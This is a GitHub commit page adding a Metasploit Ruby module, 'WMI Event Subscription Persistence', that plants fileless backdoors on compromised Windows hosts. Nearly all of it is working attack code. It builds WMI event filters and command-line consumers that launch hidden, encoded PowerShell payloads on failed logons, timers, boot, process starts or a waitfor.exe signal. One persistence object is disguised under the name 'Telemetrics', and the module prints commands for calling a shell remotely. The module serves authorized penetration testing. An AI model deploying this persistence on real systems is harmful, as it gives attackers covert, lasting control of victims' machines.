-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
234 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,234 @@ | ||
## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core/exploit/powershell' | ||
require 'msf/core/post/windows/powershell' | ||
require 'msf/core/post/file' | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
|
||
include Msf::Post::Windows::Powershell | ||
include Msf::Exploit::Powershell | ||
include Post::Windows::Priv | ||
include Msf::Post::File | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'WMI Event Subscription Persistence', | ||
'Description' => %q{ | ||
This module will create a permanent WMI event subscription to achieve file-less persistence using one | ||
of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER | ||
(default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing | ||
must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon | ||
/failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload. | ||
The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON | ||
method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS | ||
method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method | ||
creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER | ||
before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command | ||
(note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is | ||
activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a | ||
high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations. | ||
}, | ||
'Author' => ['Nick Tyrer <@NickTyrer>'], | ||
'License' => MSF_LICENSE, | ||
'Privileged' => true, | ||
'Platform' => 'win', | ||
'SessionTypes' => ['meterpreter'], | ||
'Targets' => [['Windows', {}]], | ||
'DisclosureDate' => 'Jun 6 2017', | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => | ||
{ | ||
'DisablePayloadHandler' => 'true' | ||
}, | ||
'References' => [ | ||
['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'], | ||
['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'] | ||
] | ||
)) | ||
|
||
register_options([ | ||
OptEnum.new('PERSISTENCE_METHOD', | ||
[true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]), | ||
OptInt.new('EVENT_ID_TRIGGER', | ||
[true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), | ||
OptString.new('USERNAME_TRIGGER', | ||
[true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]), | ||
OptString.new('PROCESS_TRIGGER', | ||
[true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]), | ||
OptString.new('WAITFOR_TRIGGER', | ||
[true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]), | ||
OptInt.new('CALLBACK_INTERVAL', | ||
[true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]), | ||
OptString.new('CLASSNAME', | ||
[true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ]) | ||
]) | ||
|
||
register_advanced_options( | ||
[ | ||
OptString.new('CUSTOM_PS_COMMAND', | ||
[false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]), | ||
]) | ||
end | ||
|
||
|
||
def exploit | ||
unless have_powershell? | ||
print_error("This module requires powershell to run") | ||
return | ||
end | ||
|
||
unless is_admin? | ||
print_error("This module requires admin privs to run") | ||
return | ||
end | ||
|
||
unless is_high_integrity? | ||
print_error("This module requires UAC to be bypassed first") | ||
return | ||
end | ||
|
||
if is_system? | ||
print_error("This module cannot run as System") | ||
return | ||
end | ||
|
||
host = session.session_host | ||
print_status('Installing Persistence...') | ||
|
||
case datastore['PERSISTENCE_METHOD'] | ||
when 'LOGON' | ||
psh_exec(subscription_logon) | ||
print_good "Persistence installed!" | ||
remove_persistence | ||
when 'INTERVAL' | ||
psh_exec(subscription_interval) | ||
print_good "Persistence installed!" | ||
remove_persistence | ||
when 'EVENT' | ||
psh_exec(subscription_event) | ||
print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\"" | ||
remove_persistence | ||
when 'PROCESS' | ||
psh_exec(subscription_process) | ||
print_good "Persistence installed!" | ||
remove_persistence | ||
when 'WAITFOR' | ||
psh_exec(subscription_waitfor) | ||
print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\"" | ||
remove_persistence | ||
end | ||
end | ||
|
||
|
||
def build_payload | ||
if datastore['CUSTOM_PS_COMMAND'] | ||
script_in = datastore['CUSTOM_PS_COMMAND'] | ||
compressed_script = compress_script(script_in, eof = nil) | ||
encoded_script = encode_script(compressed_script, eof = nil) | ||
generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script) | ||
else | ||
cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) | ||
end | ||
end | ||
|
||
|
||
def subscription_logon | ||
command = build_payload | ||
class_name = datastore['CLASSNAME'] | ||
<<-HEREDOC | ||
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} | ||
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} | ||
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} | ||
HEREDOC | ||
end | ||
|
||
|
||
def subscription_interval | ||
command = build_payload | ||
class_name = datastore['CLASSNAME'] | ||
callback_interval = datastore['CALLBACK_INTERVAL'] | ||
<<-HEREDOC | ||
$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"} | ||
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'} | ||
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} | ||
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} | ||
HEREDOC | ||
end | ||
|
||
|
||
def subscription_event | ||
command = build_payload | ||
event_id = datastore['EVENT_ID_TRIGGER'] | ||
username = datastore['USERNAME_TRIGGER'] | ||
class_name = datastore['CLASSNAME'] | ||
<<-HEREDOC | ||
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'} | ||
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} | ||
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} | ||
HEREDOC | ||
end | ||
|
||
|
||
def subscription_process | ||
command = build_payload | ||
class_name = datastore['CLASSNAME'] | ||
process_name = datastore['PROCESS_TRIGGER'] | ||
<<-HEREDOC | ||
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'} | ||
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} | ||
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} | ||
HEREDOC | ||
end | ||
|
||
|
||
def subscription_waitfor | ||
command = build_payload | ||
word = datastore['WAITFOR_TRIGGER'] | ||
class_name = datastore['CLASSNAME'] | ||
<<-HEREDOC | ||
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'} | ||
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"} | ||
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} | ||
$filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} | ||
$consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"} | ||
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1} | ||
Start-Process -FilePath waitfor.exe #{word} -NoNewWindow | ||
HEREDOC | ||
end | ||
|
||
|
||
def log_file | ||
host = session.session_host | ||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") | ||
logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence', | ||
Rex::FileUtils.clean_path(host + filenameinfo)) | ||
::FileUtils.mkdir_p(logs) | ||
logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') | ||
end | ||
|
||
|
||
def remove_persistence | ||
name_class = datastore['CLASSNAME'] | ||
clean_rc = log_file | ||
if datastore['PERSISTENCE_METHOD'] == "WAITFOR" | ||
clean_up_rc = "" | ||
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" | ||
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" | ||
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n" | ||
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" | ||
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" | ||
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" | ||
else | ||
clean_up_rc = "" | ||
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" | ||
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" | ||
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" | ||
end | ||
file_local_write(clean_rc, clean_up_rc) | ||
print_status("Clean up Meterpreter RC file: #{clean_rc}") | ||
end | ||
end |